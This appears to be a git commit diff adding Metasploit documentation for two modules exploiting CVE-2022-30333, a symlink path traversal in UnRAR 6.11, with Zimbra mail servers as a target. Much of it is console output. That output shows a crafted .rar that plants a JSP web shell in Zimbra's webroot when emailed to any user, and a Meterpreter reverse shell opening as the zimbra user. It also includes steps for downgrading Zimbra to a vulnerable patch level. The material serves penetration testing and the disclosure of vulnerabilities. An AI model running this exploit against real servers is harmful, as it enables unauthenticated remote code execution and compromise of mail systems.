Add module docs for the split-up unrar modules

This commit is contained in:
Ron Bowes
2022-07-27 13:24:29 -07:00
parent e76ef61452
commit 4e4a1da4e4
2 changed files with 115 additions and 78 deletions
@@ -5,113 +5,58 @@ This module exploits a symlink-based path traversal vulnerability in UnRAR 6.11
* [Vulnerable unRAR version](https://www.rarlab.com/rar/rarlinux-x64-611.tar.gz)
* [Github commit](https://github.com/pmachapman/unrar/commit/22b52431a0581ab5d687747b65662f825ec03946)
Zimbra is included as a specific target, because certain Zimbra versions use `unrar` to scan incoming email. Specifically, the following versions of Zimbra are affected:
* Zimbra Collaboration 9.0.0 Patch 24 (and earlier)
* Zimbra Collaboration 8.8.15 Patch 31 (and earlier)
Installing the vulnerable versions of Zimbra is a pain, unfortunately. Currently, the following command works to downgrade Zimbra:
```
$ apt-get install zimbra-patch=8.8.15.1651873147.p31.1-1.u18 zimbra-mta-patch=8.8.15.1651844231.p31.1-1.u18 zimbra-proxy-patch=8.8.15.1651844231.p31.1-1.u18
$ zmcontrol -v
Release 8.8.15.GA.3869.UBUNTU18.64 UBUNTU18_64 FOSS edition, Patch 8.8.15_P31.1.
```
Followed by specifically installing the vulnerable version of `unrar` linked above. Downpatching Zimbra like that is really finnicky, though, so that likely won't always work.
This module creates a generic RAR file containing whatever `PAYLOAD` the user configured.
## Verification Steps
To exploit Zimbra:
To generate the .rar file:
```
msf6 > use exploit/linux/fileformat/unrar_cve_2022_30333
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > set LHOST 10.0.0.146
LHOST => 10.0.0.146
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > set RHOSTS 10.0.0.154
RHOSTS => 10.0.0.154
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > set LHOST 10.0.0.146
LHOST => 10.0.0.146
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > set TARGET_PATH ../../../../../../tmp/docstest.txt
TARGET_PATH => ../../../../../../tmp/docstest.txt
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > exploit
[*] Started reverse TCP handler on 10.0.0.146:4444
[*] Encoding the payload as a .jsp file
[*] Target filename: ../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/sbrnabwujh.jsp
[+] payload.rar stored at /home/ron/.msf4/local/payload.rar
[+] File created! Email the file above to any user on the target Zimbra server
[*] Trying to trigger the backdoor @ public/sbrnabwujh.jsp...
[*] Trying to trigger the backdoor @ public/sbrnabwujh.jsp...
[*] Trying to trigger the backdoor @ public/sbrnabwujh.jsp...
[*] Sending stage (3020772 bytes) to 10.0.0.154
[+] Deleted ../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/sbrnabwujh.jsp
[*] Meterpreter session 1 opened (10.0.0.146:4444 -> 10.0.0.154:51664) at 2022-07-20 13:33:25 -0700
meterpreter > getuid
Server username: zimbra
```
To generate a generic .rar file:
```
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > set TARGET 1
TARGET => 1
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > set TARGET_PATH '../../../../../../../../../tmp'
TARGET_PATH => ../../../../../../../../../tmp
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > set TARGET_EXTENSION 'elf'
TARGET_EXTENSION => elf
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > exploit
[*] Target filename: ../../../../../../../../../tmp/hftb.elf
[*] Target filename: ../../../../../../tmp/docstest.txt
[+] payload.rar stored at /home/ron/.msf4/local/payload.rar
```
(then, in a shell with a vulnerable version of unrar)
Then, with a vulnerable versions of UnRAR (see the link above), extract it:
```
ron@fedora ~/tools/unrar $ ./unrar x ~/.msf4/local/payload.rar
ron@fedora ~/shared/analysis/zimbra-unrar/rar $ ./unrar x -o+ ~/.msf4/local/payload.rar
UNRAR 6.11 freeware Copyright (c) 1993-2022 Alexander Roshal
Extracting from /home/ron/.msf4/local/payload.rar
Extracting ZEnFEoDkBpQZ OK
Extracting ZEnFEoDkBpQZ OK
Extracting hhgdzigwkgv OK
Extracting hhgdzigwkgv OK
All OK
ron@fedora ~/tools/unrar $ file /tmp/hftb.elf
/tmp/hftb.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
ron@fedora ~/shared/analysis/zimbra-unrar/rar $ ls -l hhgdzigwkgv
lrwxrwxrwx. 1 ron games 34 Jul 27 13:04 hhgdzigwkgv -> ../../../../../../tmp/docstest.txt
ron@fedora ~/shared/analysis/zimbra-unrar/rar $ file /tmp/docstest.txt
/tmp/docstest.txt: data
```
## Options
### `FILENAME`
The filename to generate
The filename to generate, typically it's `payload.rar` and that works fine.
### `TARGET_PATH`
The path (traversal included) where the payload will extract to - eg, `../../../tmp/target.txt`
### `TARGET_FILENAME` / `TARGET_EXTENSION`
The filename and extension for the payload.
The logic of both is:
* We want to randomize the `TARGET_FILENAME`, but...
* The Zimbra exploit requires a `.jsp` extension to work
To have a random filename but a specific extension, my best idea is to have two separate options.
### `EncodeAsJsp`
If set to `true`, encode the payload into .jsp format. This makes it possible to exploit Zimbra.
### `ListenerTimeout`
The number of seconds to wait for a new session (default = `0`, or infinite).
### `CheckInterval`
The frequency with which to check for the payload on the server. Every `CheckInterval`, it performs an HTTP request to the payload path.
The path, including traversal characters (`../`) and the filename. The slashes' direction doesn't matter, that gets fixed in the module.
## Scenarios
The most common examples are listed above in "Verification Steps".
This is a pretty generic exploit that can be used against any software with a bad version of UnRAR.
We also built a specific exploit for Zimbra - `exploit/linux/http/zimbra_unrar_cve_2022_30333`.
@@ -0,0 +1,92 @@
## Vulnerable Application
This module exploits a symlink-based path traversal vulnerability in UnRAR 6.11 and earlier (open source version 6.1.6 and earlier) on Zimbra. You can get the vulnerable version of `unrar` here:
* [Vulnerable unRAR version](https://www.rarlab.com/rar/rarlinux-x64-611.tar.gz)
* [Github commit](https://github.com/pmachapman/unrar/commit/22b52431a0581ab5d687747b65662f825ec03946)
Zimbra is the specific target, because certain Zimbra versions use `unrar` to scan incoming email. Specifically, the following versions of Zimbra, assuming the vulnerable version of `unrar` is installed, are affected:
* Zimbra Collaboration 9.0.0 Patch 24 (and earlier)
* Zimbra Collaboration 8.8.15 Patch 31 (and earlier)
Installing the vulnerable versions of Zimbra is a pain, unfortunately. Currently, the following command works to downgrade Zimbra from the current version:
```
# apt-get install zimbra-patch=8.8.15.1651873147.p31.1-1.u18 zimbra-mta-patch=8.8.15.1651844231.p31.1-1.u18 zimbra-proxy-patch=8.8.15.1651844231.p31.1-1.u18
# reboot
```
And to verify:
```
$ sudo -u zimbra /opt/zimbra/bin/zmcontrol -v
Release 8.8.15.GA.3869.UBUNTU18.64 UBUNTU18_64 FOSS edition, Patch 8.8.15_P31.1.
```
Followed by specifically installing the vulnerable version of `unrar` linked above. Downpatching Zimbra like that is really finnicky, though, so that likely won't always work.
## Verification Steps
To exploit Zimbra, first load the module and generate the .rar file:
```
msf6 > use exploit/linux/http/zimbra_unrar_cve_2022_30333
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/zimbra_unrar_cve_2022_30333) > set LHOST 10.0.0.146
LHOST => 10.0.0.146
msf6 exploit(linux/http/zimbra_unrar_cve_2022_30333) > set RHOSTS 10.0.0.154
RHOSTS => 10.0.0.154
msf6 exploit(linux/http/zimbra_unrar_cve_2022_30333) > exploit
[*] Started reverse TCP handler on 10.0.0.146:4444
[*] Encoding the payload as a .jsp file
[*] Target filename: ../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/lnijw.jsp
[+] payload.rar stored at /home/ron/.msf4/local/payload.rar
[+] File created! Email the file above to any user on the target Zimbra server
[*] Trying to trigger the backdoor @ public/lnijw.jsp...
[*] Trying to trigger the backdoor @ public/lnijw.jsp...
[...] waiting [...]
```
Then, email that file to any user (including a non-existent mailbox) on the Zimbra server. Once the payload arrives at Zimbra, Zimbra should try to extract it to check for malware with no user interaction. Metasploit should see the malicious file extracted and get a session:
```
[...]
[*] Trying to trigger the backdoor @ public/lnijw.jsp...
[*] Trying to trigger the backdoor @ public/lnijw.jsp...
[*] Sending stage (3020772 bytes) to 10.0.0.154
[+] Deleted ../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/lnijw.jsp
[*] Meterpreter session 1 opened (10.0.0.146:4444 -> 10.0.0.154:39710) at 2022-07-27 13:18:03 -0700
meterpreter > getuid
Server username: zimbra
```
## Options
### `FILENAME`
The filename to generate - defaults to `payload.rar`, but can be changed on the filesystem or whatever.
### `TARGET_PATH`
The path (traversal included) where the payload will extract to. The default is the webroot, which is usually pretty safe.
### `TARGET_FILENAME`
The actual filename. It really should end with `.jsp`, otherwise it won't execute.
By default, it's a random string with `.jsp` on the end. That should work fine, especially because we can't overwrite files and don't want to use the same payload name more than once.
### `TRIGGER_PAYLOAD`
A boolean, default `true`, that determines whether we use HTTP requests to trigger the .jsp payload. Set to `false` to trigger the payload manually.
### `ListenerTimeout`
The number of seconds to wait for a new session (default = `0`, or infinite).
### `CheckInterval`
The frequency with which to check for the payload on the server. Every `CheckInterval`, it performs an HTTP request to the payload path.